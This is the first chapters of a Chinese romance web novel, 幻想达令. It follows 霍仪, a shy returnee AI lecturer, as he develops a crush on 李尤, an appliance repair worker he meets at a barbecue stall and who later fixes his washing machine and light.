《幻想达令》
1. 第 1 章
五月。
霍仪回到了大学本科的城市。
天刚转入夏,这片城市扎根在平原内,雨季刚过去没多久,空气滚动着潮热。
下午和研究生时期的导师约了个饭,在常去的烧烤摊,开了十余年,本科就在吃,现在生意依旧好得出奇。
在实验楼下等了会儿,导师就出来了。
导师拍了他的肩:【不用太紧张,基本是定了。我听院长她们说了,你很优秀。到时候咱们就是同事。看人事处那边什么时候发offer,不过我估计慢得很,等个半月。】
霍仪心下不安,他可能受多了挫折,没个准信,哪怕收到了offer,也会想当面反悔的也多。只要没入职,霍仪心脏便七上八下跳的欢。
“我说你,怎么越活越紧绷了?”导师搂住他肩,“想开点,学校又不是公司,没那么多事。以后你就得改叫我王师兄了。”
霍仪抽出一个简单的笑容,笑:“干脆叫王哥算了。”
“你小子——”真叫了,导师又嫌他没大没小。
霍仪本科时成绩一般,研究生直考了本校,本校双非二本,比较好考。好在导师人不错,推荐霍仪去他的导师,在早稻田读人工智能的博士。
去年毕业回来了,找了一家国企的博士站过渡,没隔几月就辞了,还是想找教职,最后上了岸。
当青椒也不轻松,可是比起企业还是好一些。
-
吃饭的地就是个摊子,烧烤大排档,导师喜欢,霍仪不怎么喜欢。但霍仪喜欢大学城附近的烟火气味,在日本很难看到。
“到时候你来,下半年,我们争取在ICML发一篇。”
霍仪笑了下,还没入职,压力就给了上来,那是说发就能发的么?
“可以。”霍仪还是答应。
“我们还可以和刘老师在外面接点项目,她们现在是把公司做起来了。”
霍仪又温和笑了笑。
导师说:“你现在长得帅了,到时候她们肯定派你出去签单,都是政府项目,拿回来交给学生做。”
霍仪这次是笑出了声,“又压迫上了。”
导师笑:“你去打听打听。我给他们每个月开八千,很人性化了。隔壁图像复原才五百。”
之后两人吃烧烤,喝了点酒,导师晚上还要回去盯个项目,拿上衣服先走了。
霍仪坐在塑料凳上喝酒,听着周围声音放空。准备面试,花了一段时间,回答那几个老师的问题,不亚于答辩。
周围有两个女生在聊工作,看样子也是校友,都比三十岁的他年轻。
一个抽了烟,有些呛人,可是周围男人也在抽。
霍仪在日本待习惯了,有点不适应这边公共场所也点烟的习惯。
女生提到想调岗到人工智能,但又不知道现在人工智能要做啥,现在就记得一些图形图像的算法,做车牌检测,线检测都记不清了,调岗的话,得重新学。
可调过去后工资高,市场寒冬,还能再捞几年钱。
霍仪抬头瞥了眼,正好和静静听着那位女生眼神相撞。
女生穿了套黑色卫衣,领口很高,像户外冲锋衣,黑头发,齐刘海,嘴唇富有血色,拎了只小酒杯挡在唇前,是白的。
她边抿酒,边听她朋友吐槽工作,眉眼有些冷,冷淡到锋利。
霍仪有种审美被戳中的惊悚,像猎物嗅到猎枪的硝烟味般,从尾椎袭上一股恐惧的酥麻感。
女生直面不避讳地看进霍仪的眼,霍仪则慌乱地低下头,装作找手机。
人尴尬的时候总是很忙。
霍仪不敢乱看,也不知道为什么尴尬,拎着筷子把剩下的烧烤有一点没一点的吃完。
想转人工智能的女生继续说话,说还是李尤工作好,不像她们,上线之前压力特别大,才他爸的熬了两个通宵。要死了,要死了,明天又没周末,得去公司加班。
一说起加班,女生摔了筷子,李尤去捡起来,温声道:“真让你干我这个,你又嫌累嫌脏。工资还不如你四分之一高。”
李尤声音清冷,有些哑。
霍仪听着耳朵泛痒,心里也有些涌出情绪。
干嘛去记一个陌生人的名字,他是发骚了么?还是怎么,大龄单身剩男,想谈恋爱,想疯了。
他可能喝了酒,有点燥。
“美女……工作这么忙呀。”
周边来了个男人,拎了一瓶啤酒,没控制力道砸在支起的小木桌板。
宋湘瞥了眼,首先瞥的是鞋,轻哼了声,挑了下眉,又和李尤对视,无聊滴抖了抖烟。
男人又问:“美女你抽什么烟?”
宋湘没理会。
男人有些不爽,后桌的兄弟鼓励他来找宋湘要微信,他有些被宋湘撂下面子,回头很尴尬。兄弟们也在抿着烟哄笑他。
宋湘长得漂亮,夺人目光的艳,校内进行毕业快闪表演时,上了腾讯热点,还被丝芭的星探要了联系方式递名片。
宋湘本来想去,一打听爱豆工资两千八,还得参加什么每周公演,她就没兴趣,她以为一脚踏进娱乐圈就能开始捞大钱。结果做爱豆还不如打工。
她绩点高,代码技术超绝,带飞团队参加蓝桥杯,又混在实验室发了三篇论文。在计算机学院内人称湘神,时间管理大师,考试都是通宵复习,仗着聪明,能拿个不错的分。卷学艺术家,大四那年,又忙保研,又参加秋招,还拿了个大厂offer,总包六十万。
宋湘优秀到扎眼,用美貌去置换金钱,反倒最次。
男人看宋湘甩脸色,面上挂不住,便嬉皮笑脸道:“美女,长这么漂亮,我喜欢你,加个微信呗。”
李尤站起身去结账,戴上了口罩。
男人见李尤一走,便想坐李尤那位置,磨着宋湘要微信。
他始终坚信烈女怕缠男。
猥琐男屁股一落,宋湘脚一抬,转了身,跟个泥鳅似的,坐在霍仪身边。
老早宋湘便注意上霍仪身段很好,腰细肩宽,发型也打理过,还穿西服坐在路边摊。宋湘和李尤喝酒时,她朝李尤使了好几个眼色,叫她看帅哥背影。
食色性也。
李尤和宋湘在大学期间喜欢找帅哥玩,但宋湘上班这三年,李尤和她的心思都淡了。
宋湘说:“帅哥坐一下,不介意吧。”
“不介意。你坐就行。”霍仪表现得比较温和。
由于是事业单位的面试,霍仪穿得比较正式,西服三件套,皮鞋是顶级奢牌,领带选的沉稳不失活泼的跳色。
文化资本也是资本,要打入某个圈层做精英,首先在气势上就要给到自己助力,展示和那个阶层一个水准的情趣爱好和品质。毕竟圈层就像旋涡,只吸纳同质的人。
拿酒瓶的男人不屑地撇嘴,看了霍仪的打扮。
他在心里骂:
装哥一位。
艹了。
女人都爱钱。
霍仪把男人的骚扰看在眼里。
男人放酒瓶在
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女生桌上,霍仪比较警惕了。因为有过一次唐山新闻。霍仪当时在海外,忙里偷闲关注过一次。连他妈妈都转发给他看,要求他,不要做冷漠的男人,要适时帮助她人。
霍仪不动声色将手背的腕表摘掉,放回兜内,手侵占性地放在桌面。
正好李尤回来了,她戴好了口罩。
猥琐男人的手撑在宋湘的身旁,把宋湘笼罩在肩膀下:“美女,这是你男朋友啊?你坐他旁边?”
一句话把两个人都得罪了。
宋湘被惹急了,推攘开男人的手臂,“神经啊。你爸的,姐下个班,还得遭这种罪,啊,你们死了算了。有根吊了不起。”
本来以为宋湘温婉好欺负,结果她一下骂起来,男人坏了脸色,酱菜似的黢黑。
宋湘的脾气比李尤炸,但李尤喜欢阴着来。
正巧,李尤回来了。
“你别给脸不要脸。”
男人破防了,要动手,霍仪见状,起身要拉住男人,宋湘被李尤先拉住,扯到她身后,男人身后那桌人也起了身,一副要教训宋湘的模样,问:“怎么了?怎么了?”
李尤和宋湘对视一眼,“三,二——”
还没说一,李尤拎着她们桌没喝完的啤酒,往男人脑袋上开瓢,宋湘在这瞬间,踹了男人根部一脚,酒瓶砰地一下炸开。
男人都没反应过来。
“跑!”
李尤牵着宋湘的手,二人撒腿就跑。
-
隔了一个月。
霍仪已经搬到学校附近,他重新租了套房,他妈妈本来说买一套。
霍仪说算了,等安家费下来,可以便宜买学校建的职工宿舍。
霍仪的妈妈说:“那得等到猴年马月。租房多不习惯。”
霍仪说:“在日本还不是一个租房住,有什么大不了。”
刚说完这些,按下洗衣机键的按钮就坏了,转筒停了。
霍仪只能叫家电维修上门。
面试那天遇到的女生,霍仪忘了,只有一面之缘,虽然不懂为什么,有种藤蔓爬满心里的感觉。
霍仪觉得自己是到年龄了,被激素控制,想女孩子了。
他没谈过一次恋爱,初高中太胖了,很自卑,能有个愿意和他说话的同学,就很开心,因为在学校被混混霸凌。
上大学,沉湎在抑郁症的痛苦,受躯体化折磨,学业几度荒废,遇到了好心的学姐,人很正派,把他从坑里拉拔出来,还鼓励他考研。
霍仪人生的正向反馈是从考研上岸开始,遇到好的老师,把四年的专业补回来,被推荐,申博成功,进入早稻田读博士。博士期间压力很大,霍仪连放松的时间都没有,更别说谈恋爱。
打开门见到熟悉的脸蛋,霍仪心一下就跳起来。
李尤。
也不知怎么的,一下就记起来女生的名字。
但李尤不认识他,不记得他这个路人,她从没睁眼瞧过他。
不会记得他。
李尤问:“老师,你家修洗衣机?”
霍仪愣愣地点头,心跳到极致,一时懵了神,想:她怎么知道我是个老师?她是不是也关注我?是不是上学校官网调查我了?
清醒点,霍仪。你算哪根葱,人家为什么调查一个比她大很多的老男人?
霍仪清醒了,他租的也是X大的老职工宿舍,住这里面的大概率都是老师。凭地点喊他老师不奇怪。
霍仪又有些失望,李尤穿上自备的鞋套,进了门。
2. 第 2 章
纯属霍仪想多了。
李尤见客户都叫老师。
这边的方言称呼陌生人,别管年龄大小,抛开性别,都可以叫“老师”。可以唤八十岁姥娘唤老师,也可以唤刚出来工作的小弟做老师,就是个不惹麻烦事、不轻浮的敬称。
“洗衣机在哪里?”李尤问,“怎么个事?”
霍仪指引了位置,“坏了。不知道为什么按一下就坏了。灯不显示,转筒也不转了。”
李尤背了个帆布工具包放在地下,开始掏工具,熟练说:“老师,我们这里上门费是三十,我先看看什么情况,到时候排查。一般来说是电路板出了问题,能修的话是最好,如果修不好,就要换一个新的主板。先给您说好,不修我们也要收上门费的。您接受么?”
李尤说了一大堆,霍仪没进脑子。
光是注意着李尤的工具包和她的手,工具包里面有很多东西,李尤的手指纤长骨感,指甲盖浑圆透明,肉粉色,手背上青筋凸显,像艺术家雕刻的手。
“换吧。”霍仪不在意那点钱。
如果不是不知道找什么渠道搬运旧洗衣机,霍仪想买个新的换了。
李尤点了头,爽快顾客,她喜欢。
这片区是李尤和她老师在负责维修,站点派单,这片小区住的都是X大的教授,人都挺好说话。
当然,也有些顾客一听修不修都给上门费,还是会摆脸色。精英里面有钱有势的垃圾也多,通常李尤会建议他们在美团上团,只要十元就行了。
但李尤没建议霍仪这么做。
霍仪是图方便多于图钱的人。
李尤把插头拔了,开始用电动螺丝刀拧开螺丝钉,卸下外壳板,又拧了几颗螺丝,拆掉了电路板。
霍仪看李尤动作熟练,小臂肌肉紧绷,很性感。
他脸红了。
可不知道脸红个什么劲。
口很干。
他从来不知道自己的性/癖是这样,喜欢一些力量感强悍的女生,对方一言不发按下电动螺丝刀拆板的手,都在他眼中,很酷,像希区柯克的电影画报般。
他少看电视剧,很少想感情的事,看A片更无聊了。A片这种影像,多的是男性从控制征服触发快感,而女性是作为痛苦的一方去痛苦中享受快感。他被校园暴力过,既没办法带入施加暴力的一方,也没有办法代入承受痛苦的一方。
他看那种性/行为,于他是场毁灭的灾难。
特别女生被男人欺压在某些场所时,他产生生理性厌烦和反胃感,所以不懂自己喜欢什么样的女生。
遇见李尤那晚出现后,霍仪做了个梦。
梦见高中时期,有些人辱骂他是骚猪,肥仔胖得下油锅,说胖子性/器官小,要扒掉他裤子给全班同学看。
霍仪很气愤,但无力,揪着裤头躲闪那些按倒他的手,躲闪的时候,脸挨了一拳头。
他被打偏脸。
那种愤怒和无力感又升上来,像海水,窒息地将他淹没。
有个乌黑头发,齐刘海的女生出现了,踹开那些欺负他的人,拉住他的手,将他藏在身后,给了那些骂他的人一巴掌。
“找死。”
转过身,是李尤的脸。
眉眼很浓,三白眼,吊着眼冷漠又厌世,威压很强,让人不敢惹。
可她摸他的头,关心问:“你没事吧?”
她手指穿插进他的头发间,舒服得霍仪忍不住想李尤使劲揪他的头发,按下他的头。
梦醒了。
霍仪晨舶,出来了。
潮湿得耻辱。
霍仪知道自己喜欢勇敢可以保护他的女生。
但尴尬的是陌生人在梦里成为性/幻想对象,没办法控制,他只是对她好奇。但现在……霍仪觉得自己疯了,暗骂自己在想什么,发什么骚,见到女人就发春,真是骚货了。
因为成长期底色灰凉,根茎腐坏掉了,霍仪本质上对自己很厌弃,很不自信。自卑是他人生的常态。
他很会自我反省,在合理范围内规训,唾弃尝试思想越界的自己。
这样走神,便发愣地盯着李尤许久。
李尤发现男人盯她挺久了。
又是个爱看维修的。
有些客人就是这样,喜欢看人工作,维修,赶海,下工地,炒盒饭,女男都有,她们看有一种爽感,一看能看好几个小时。她还有些同事会录视频,剪辑发到抖音头条,赚第二份工钱。
李尤和她老师的活太多了,忙不过来,没那个心思。
拿电笔调试了电路板,李尤把一个芯片按紧,洗衣机电板就亮了。
“应该是焊接口松了。重新接一下就行。”
霍仪嗯了一声。
李尤去翻包,乌黑长发垂下来,她蹲身,找了工具很快重新给霍仪焊好,装上后,测试了下,转筒已经转起来了。
李尤收拾包,霍仪想了下说:“能不忙着走么?”
李尤:“?”
霍仪忙说:“帮我换下卧室的灯可以么?不怎么亮。”
李尤点了头,男人不会换灯的也很多。
她跟霍仪去了卧室,霍仪把灯打开,的确暗淡。她借了条木椅子,搭在床边,李尤长得不算矮,一米七四,踩上去就用电动螺丝刀拆了。
李尤看了眼灯盘,是灯带圈着的大灯,这种灯带不好买材料,得李尤去跑五金店。但替霍仪修个灯,最多也就收他三四十,李尤不大想跑太远。
“我等会拆下来看看,看看型号。网上便宜,可以在网上买。”
“你兜里没有吗?”霍仪看李尤掏了很多工具,总觉得是叮当猫的口袋,里面什么都有。
“没有。我得去五金店买,隔你家有点远,我得明天才能来。”
听到明天还能见李尤一次,霍仪生出期待,他忙说:“没事,你忙吧。我可以等。”
李尤不是太想霍仪等,客人可以在网上买,更便宜,不用李尤去五金店跑一趟,还给他带过来。但是做这行本来就是一个个小钱堆积出来的,二十元,三十元,四十元,堆成两百,三百。
要赚钱得不怕麻烦。
干什么活不是干,能挣钱就行了。
李尤心态很平稳。
“行。那您先把这一单的钱结一下,一共六十。上门费三十,维修洗衣机三十。我明天抽空去五金店拿材料的时候帮你问一下。反正您有我的号码。平台上我先给您开个新单,不结算,这样明天我来不会收您上门费。您还可以通过虚拟号码拨打过来。”
“啊,号码是虚拟的么?”霍仪显得像个白痴一样惊讶,掏出手机付钱。
“嗯。都是虚拟号码,防止顾客被骚扰。”
霍仪心里想的很多,如果是虚拟号码,下一次不一定能叫上李尤的单。
但幸好,她明天还会来。
下一单的单主电话拨了过来,李尤接通,快速背上她的包,准备离开。
霍仪送李尤出门,在李尤离开前,从冰箱拿了两瓶冷藏酸奶递给李尤,李尤说不收,霍仪拿着酸奶,怔在门口。
他是社恐,可锻炼得出神入化,已经伪装得看不出来,厉害时,能扮成温文尔雅的社交能手,像个游走在精英阶层的斯文败类。
这会儿被李尤拒绝,懵了,话说不出来。
说太多社交性的废话,什么“收下吧,你们也挺辛苦”“这口味很好,家里买的多”之类,会让他觉得无聊,那不就是和所有李尤的客人一样了么?
会被她忘掉。
他很想告诉她实情:他觉得这个酸奶很好喝,所以想分享给李尤,让她也尝试。这里面没有利害关系,他只想纯粹
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地分享自己喜欢的东西给李尤。期待她能接受。
送到电梯门口时,霍仪忽地想起了什么,蹙着眉峰问李尤:“明天你会来吧,不会找人替你?”
霍仪问得不强势,反倒像个依依不舍的小狗蹲在电梯门口,被送入宠物幼儿园前,问主人,主人你明天会来接我的吧,那样子。
但这话听上去很怪,就算李尤找同事替霍仪换灯,也无所谓,只是换灯罢了。
李尤凝了眉。
霍仪一下子揣摩心思暴露得厉害,慌了阵脚。可是很尴尬地懵了,遮掩的话完全说不出来。
李尤说不会,没多问,按了电梯就下楼。
霍仪看着电梯数字一层层下调,到了一楼,霍仪回到自己的阳台,等了几分钟,看见李尤骑着摩托车离开。
霍仪心脏有些酥酥麻麻:她戴头盔的样子也好帅。
-
霍仪和李尤的两次见面,都会觉得自己陷入无措的尴尬。
尴尬这种情绪,霍仪仔细分析的话,尬在那一刻暴露自己欲/望,又不想别人看出来。
霍仪第一次和李尤对视,心里想的就是好漂亮的女孩子,长在他心巴上。
那瞬间,撞进李尤的眼里,霍仪很怕她察觉出来,忙撇开了眼。
但霍仪有点恶心这样的自己,很怕李尤误会他是那种对女生有好感就自作主张去喜欢,还骚扰女性的油腻男,像他在互联网上看到的一些对男性评价的说辞。
“很典。”
霍仪很害怕成为那样的自己,他总是活在他人评价中。
第二次在电梯分别,霍仪认为也暴露了自己的欲望。
他想和李尤再见面的心思,遮掩不住,他想和她产生多余的联系,所以他很尴尬,畏惧李尤察觉他作为客人以外的心思。
当时便懵了,支支吾吾说不出话来。
霍仪晚间睡觉时,复盘这些事,又觉得他真是一个妥妥的社交废物,这点包的,很内耗,可能李尤根本不会将他这种见一面的客人放在心上。
霍仪睡着。
又做了梦。
这次是梦到了李尤来给他换灯,换完灯,李尤说:“要不要出去一起吃个饭?约会。”
霍仪涨得脸红,嗫喏说:“要。”
他心里酥麻麻,像是被渍了糖蜜浸泡,涌出喜悦。
梦是无厘头的。
霍仪没深究李尤在换完灯后,邀请他去外面吃饭。
场景很快一换,等她们坐在烧烤摊时,霍仪已经害羞到不敢抬头看李尤,生怕李尤看出来他想接近她。
李尤托着腮,下巴小巧,脸很白,唇嫣红像吸了血。
她像个小女孩,比霍仪年轻,肌肤紧致,气血好,可做事风度冷冽老道,又比霍仪在社会中熟练度太多。
她伸出手,像托小狗的下巴,托起霍仪的下颌,“霍先生,你为什么不敢看我?”
霍仪脸热,大着胆子盯了眼李尤,支支吾吾说:“没有吧。我没有不敢看你。”
霍仪注意到李尤右唇角有一颗比芝麻还小的痣。
李尤笑了,冷淡的她,有些轻慢:“霍先生,喜欢我?”
霍仪心一下跳起来,李尤看出来了,而且她的挑逗让他明白她不讨厌被他喜欢。
霍仪做梦,认为李尤也喜欢自己?
但一阵通话铃音,霍仪忙去接,梦醒了。
霍仪睁眼,意识到是要去学校开早会,闹钟响了。
他难得生气,坐在床上闷闷不乐。
这个梦就不能让他继续做下去?他还没看出李尤说喜欢他,是什么反应?他都没有细细品啖李尤挑起他下巴的触感。
霍仪倒在松软鸭绒被里,捂住脸,又笑了。
这个梦真甜。
李尤,李尤,李尤,李尤,我想了解你。
3. 第 3 章
约的时间是四点。
李尤正好有空,在附近和老师给店主装空调,夏天要到了,提前买空调安装的顾客也多。
而霍仪这边,暑期有几个研一升研二的要留下,不回家。院长让霍仪带一带他们手头上做的项目,提点进度。三点半,刚好和她们开完会。
霍仪匆匆忙忙赶回家,在房间试穿了好几件衣服。
他穿衬衫最人模人样,霍仪知道这点,他长得高,腰细,瘦了之后,脸蛋小,远看白皙清秀,近看浓眉大眼,颌骨削立,一副深重轮廓的好相貌。他还健身,他们在日的留子都还挺喜欢健身,主要是身边没什么朋友,孤独,不忙学业,放松的时候就去健身,这样他身材管理得也不错。
不能说维持八块腹肌,但四块还是有的,有一些胸肌,这点是天生。由于之前太胖了,瘦下来的胸围也很可观。说到这,他想起了高考体检,被前排的女同学善意地调侃:说他的胸围比她还大。
最狼狈不堪的时候,跑一千米体测,胸肌会抖,他被一群男同学取笑鄙夷……他很想练薄,结果越练越厚。
穿衣风格的话,霍仪回国改变了。
刚回国那会儿,风格还在摸索,去见知遇之恩的学姐,学姐说:“去silk进修了?”
霍仪不太懂,啊了一声。
学姐说:“气质都变了,以后少穿衬衫吧,整得跟男模站台似的,我怕把控不住。”
霍仪还是听不懂,感觉学姐在赞美他,又在说骚话。
学姐知道他听不懂,笑:“还说去日本了,silk都不知道,光被导师压榨了吧。”
霍仪说:“很少娱乐,我连新闻都不刷。”
和学姐吃完饭,霍仪拿手机好奇去搜,才知道silk是什么风格,男模又是什么意思,脸唰地通红。学姐大概率不是羞辱他,只是说他穿衣打扮品味有点奇怪。
霍仪后面就收敛了,不自学一些乱七八糟的穿搭,领扣会扣至最高,哪怕夏天再热,也不露出锁骨。
霍仪在镜子前试了件白衬衫,感觉李尤那天见过了,他有点怕李尤认出来那天的人是他。
白衬衫显老,显成熟。不能穿。
霍仪又试了卫衣,挺热,宝里宝气。
又试了POLO衫,太商务,更像李尤口中的老师了,年龄差距大到李尤会叫他叔叔的地步。
霍仪想让自己和李尤同龄一些。
他猜了一下李尤的年龄,李尤的同伴说她工作三年,那最多24,25的样子。但不晓得她们是不是研究生,现在研究生的水平才能拿六十万总包,不同当年,本科基本会被卡。他本科毕业时,本科是可以要到这个价。
但经济下行,时代过去了,有个坑填就谢天谢地。
霍仪想了下,他比李尤大多少岁。
五岁。
这样更恶心了,一个老男人在镜子面前,不停换衣裳搔首弄资,勾引人家小姑娘。
霍仪心里难受,便随意穿了件修身的针织薄短袖,居家休闲,很薄透,黑色。今年夏天天气有些反常,这两天下多雨了,凉快得像秋季,正适合穿。
他在镜子前打理了头发,抹了发胶,抹得很少,怕李尤看出来,他为她过度打扮。免不了喷点男香,去意大利开会时买的,薄荷洋甘菊,清爽不跳跃的味道,显得他又不会有年龄感。
霍仪岔开腿,拳头握紧搭在膝盖上,坐在沙发等。
时间过得太慢,三点五十九分,霍仪觉得度秒如年。
他看了眼表,数着指针一点点转,想到李尤马上来了,霍仪膝盖骨生锈般浆住,肌肉弹动,躯体紧张的反应,他太期待了。
李尤迟了两分钟。
门铃响的时候,霍仪去开门,前脚绊了后脚。
霍仪自厌地想:蠢得没边。
-
扑鼻一阵香味,说不上什么味。
李尤没钱懂香水。
很好闻。
香香的男人总是会博得女人的好感。
李尤不着痕迹扫了眼前的男人。
“换灯。”她言简意赅,“老师,我材料拿来了。”
霍仪还没摆好让开的姿势,李尤提了提帆布包的带子,往里面走。
她绕过霍仪身旁时,香味更浓。
李尤没多想,或者说是,懒得多想。
不关她事。
她搬了椅子,到卧室里面,包一撂,人利索地站在椅子,开始用电动螺丝刀拆灯罩。她手上还有点脏,黑黢黢的机油染花了手,不是没洗过,是洗不掉。
晚上回去得拿肥皂使劲搓。
干活的手是这样,看着脏。
霍仪站在卧室门口,看李尤拆灯,问:“师傅,你渴不渴?喝点热水还是饮料?”
“哦,谢谢。我不渴。老师,不用这么客气的。”李尤难得多说了几句。
霍仪不再多说什么,他和李尤就是这样浅薄的关系,话都很难说上几句。
霍仪看着她换灯,仰着头,看李尤的下颌,才发现那里没有一颗痣。李尤的打扮很年轻,深蓝套头卫衣,黑色工装裤,工装裤的包很多,李尤随手能从里面掏出螺丝钉。
李尤很快换了灯带,让霍仪去开灯,灯亮了,李尤便拎上了包。
“老师,平台上结了就是。我先走了。”
李尤单肩背上包,一句废话不多说,更别提,霍仪做梦幻想的李尤逗他说:一起去吃个饭吧。
霍仪有些失落,李尤甚至不在意他跑单,直接就走了。
可能是最后一次见她。
霍仪的社交人格突然发动,“师傅,等一下。”
李尤暂停脚步,以为霍仪还有活。
“能不能加个微信?”
李尤皱了眉。
霍仪马上说:“师傅,是这样,下次我就不通过平台叫你了,每次都给个上门费还是有点贵。你们肯定也接私活吧,我想留个号码。万一我洗碗槽堵了,之后叫你,你就不用收我上门费,平台也不抽你们佣金。我们方便联系就好。”
霍仪的话说得很多,实际上,他讨厌自己这样说话。这不是他本来的个性,他本来是很呆板的一个人,上了很多年学,除了上学就是上学,也不喜欢和人social。
李尤说:“平台不允许这样做。”
霍仪嘟囔:“我又不会给平台讲。”
李尤掏出手机,划开锁屏,尽管神情有点防范,但她
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给了霍仪微信二维码。
霍仪没有将淡淡的喜悦,露在脸上,更多是心里涌出一种安宁感,至少他做了这一步,心还是跳着,可是他至少做到了。
如果不主动的话,他可能会后悔,但是主动了,霍仪获得了正向反馈,觉得自己也变得勇敢。
“师傅姓什么?”霍仪装作不知道问。
“李。”李尤冷淡。
霍仪给她备注李师傅,送走了李尤。
他说了很像成人世界社交的话,霍仪还把想分享的酸奶递在了李尤手上,只是一个递的动作,他也很避讳和李尤发生躯体接触。
哪怕是碰手也不行。
霍仪趴在窗前,看着李尤骑上摩托离开。
今天是美好的一天。
霍仪伸了个懒腰,比出点赞的姿势给自己鼓励。真好,他做到了向李尤要微信,主动迈出那一步。
只要肯主动,他和李尤就会产生故事!
他回到卧室,打开李尤为他换的灯,平凡的一盏灯,因为是李尤站在椅面上,给他换的,变得不再平凡。
霍仪躺在床上,看着金光闪闪的灯罩,傻乎乎地笑。
嘿嘿。是李尤给他换的灯。他每天都要看着李尤换的灯睡觉。
翻身俯趴在床上,霍仪又刷起李尤的朋友圈。
李尤的朋友圈怎么全是工作的视频,给人换水管,装净水器,洗抽油烟机,都没有发她自己的生活。
而且霍仪拼命想捉摸一点李尤个人的痕迹,都捉摸不了,李尤发的都是宣传公司的文案,没有丝毫个人情绪,霍仪翻了很久,翻了一百多条到底部。
他失望地关掉李尤的朋友圈。
怎么感觉自己是个恋爱脑。
霍仪很害怕,恋爱脑付出太多,会被伤害。但如果是李尤,感觉一个出面保护自己同伴,言行决然坚毅的女孩,很正派,不会伤害他。
如果和李尤谈恋爱就好了。
谈恋爱的话,李尤应该是强势的一方,比如会主动牵他的手,搂住他的肩膀。
霍仪咬住被角,唔唔唔地兴奋叫。
霍仪又爬起来,准备去学校,盯盯导师的学生,他还没资格带学生,学校也不会在近几年给他名额,下学期估计会给他教学任务。前导师现同事说帮他在实验室解决下她们的问题,要他主动些去询问,别等着学生来问,都是带的闷葫芦,不吱声,青蛙,碰一下跳一下。
霍仪知道是导师的招数,明白他性格比较闷,想让他多和人接触。
霍仪去换正装。
绕过镜子时,又到了回去,霍仪眼尖地发现,自己胸膛鼓囊囊的,胸前有两小圈粉色,凸起,顶在针织衫前。
滚烫的血一下从脚底蹿到脑门,粉嫩的脖颈烧得红彤彤。
霍仪人麻了。
要疯掉了。
这黑色衣服太薄透了,可以清晰地看到胸膛里面,像擦边男,但他真不是。他要疯了,为什么当时会觉得这件衣服还不错,显年轻。啊啊啊啊这简直是突破他极限,他要把衣服扔了。
难怪李尤神情莫测盯他一眼,原来是这样。
她肯定看光了。
霍仪捂住脸,赶紧将衣服换下来。
4. 第 4 章
李尤站在摩托车前,拧开水壶,喝水。
说不将刚才的事放在心上,可是,总感觉很奇怪。
有点日式情节。
什么水电工上门维修,人夫喷了香水,又打理了头发,还穿了很骚的衣服,在勾引她,撩起雇主的衬衣,二人就在窗前……
纯属科幻。
雇主长得不错。
没有人不喜欢美好的事物。
李尤第一次上门,看见他的脸,脑神经被冲击,惊艳一番。
身高挺拔,鼻梁高,皮肤鲜亮的白,穿居家服,胸很大,休闲裤衬得腿修长,温文贤良人夫风。
李尤说不心动是假话。
面相很熟悉。
像什么明星吧。
李尤不关注娱乐圈,最多在抖上刷刷给福利的擦边男,给他们点个赞,鼓励一下。
最近刷到的身材都不合口。宋湘昨夜还推了做荡夫赛道给她。人是浪的,咬指头,张着唇哈气,能过审的范围内身上该露的都露了,但腰有点厚,她不喜欢。
前几月宋湘推的她喜欢,什么狐,厂花级别的男生,皮肤白,年轻,很清纯男大,李尤喜欢这一类。
但顾客是顾客,顾客给了钱,也不喜欢被一个上/门/服/务的维修工人凝视,不被尊重,这是基本的职业素养。
李尤只有一个念头闪过,她就不再关注。
许是……同女朋友约会前的准备。
但有女朋友的话,在另一个女生面前这么穿,这男的些微不守夫道。
-
霍仪把李尤的朋友圈翻来覆去地看。
李尤把朋友圈完全当引流号处理,发的内容全是她业务相关,比如顾客净水器滤芯三年不换,有多脏,她今日拆下滤芯给朋友圈的熟客们观看,再比如,自行清洗抽油烟机时,要用到材料,有哪些死角容易被忽视。
霍仪看了新的一条,是她和另一个中年女人在疏通下水道,租户的头发太多堵了浴室出水口,再上一条,是李尤发的是顾客发现浴室内墙壁上层老是漏水,瓷砖洇湿,得进行旧水管改造。
视频封面一看便是老小区,内置管道在墙体内破损。
霍仪点进视频,视频拍得很粗糙,没有讲究什么构图,视角,就是纯拍。
李尤露了个侧脸,头发利索地扎起。她蹲在墙角,锤子猛地砸了几下,把墙体砸裂,出来个大洞,露出生锈的铁管。
榔头轰轰地声音很大,霍仪有被李尤的狠劲吓到。李尤无论做什么,都没有太多表情,冷静自持,对着噼里啪啦往外溅的石渣,她眼皮没眨。
太猛了,看上去手劲好大。
霍仪窝在床上,抱着手机,把李尤的脸和手放大。
李尤的表情越冷越处变不惊,霍仪的心就怦怦跳。
她长得真漂亮,好伟大。
可能不是世俗意义上的面孔漂亮,但那股气质迷人,很伟大。
伟大是追韩星的学姐讲的词,霍仪也学会了用伟大来形容喜欢的人类。
霍仪意识到他陷进去了,他在暗恋李尤了。可是李尤不知道,李尤不会和他有结果。
有点蠢,对着一个上门维修的工人,如果被学姐和导师,还有妈妈知道,一定会嘲笑他过于恋爱脑。
霍仪明白,他的性格很容易上头,恋爱脑包的,所以他特别克制自己踏入到很喜欢很爱一个人的地步,怕付出太多,被抛弃掉。
读博期间,也有遇到很优秀的日本女生,霍仪察觉到对方暧昧心思的那刻,就斩断了自己和她的念想。
他不会留在日本,不想耽搁她,不如严肃地拒绝,大家还是专心放在学术上。
但是李尤……她神秘,有魅力,深渊般,吸引着霍仪往下坠落去探究。
如果是李尤,被伤害也无妨,能跟这样的人谈一次,也值了,就像从精致的屋内走入旷野,云,风以波成形,是混沌的系统,只能用算法抽象计算,绝对把握不住细节。
混沌系统是神明的艺术。
李尤也是。
霍仪暗灭手机。
又笑了。
家里的抽油烟机可以叫李尤来帮个忙洗一下,就当是照顾她生意,还有空调她也会洗。这样一整个夏天和她接触的机会太多了。
霍仪喜不胜收。
-
院长给了点任务。
他这个方向,和导师一起排在院长手底下。
整个七月初的三周都很忙,要和QH的一个小组讨论用跨模态融合做多模态情感数据之间的交互。那边是主场,经费拿在他们那边,说这个事的时候,霍仪还停留在摸不着头脑的阶段。后续一周,整个框架和那边的几个博士还没有讨论出来,就要赶鸭子上架去做一次汇报。
真是一种卷又卷不动,躺又躺不平的状态。
谁说老师都有寒暑假?
好在以前发过一篇类似的,也是做跨模态的深度解析,把第一阶段抄了过来,霍仪每天工作到凌晨才去休息。
他只能在睡前,翻看一下李尤的朋友圈。
等到线上开完会的那天,霍仪脖颈酸痛,在诸多面生的老师前做完了一个工作的汇报,得到掌声和寒暄,还有院长适当给他加码,流露赞许的眼神。
霍仪敏锐地察觉,院长她这是在……借会议,给新老师抬轿?
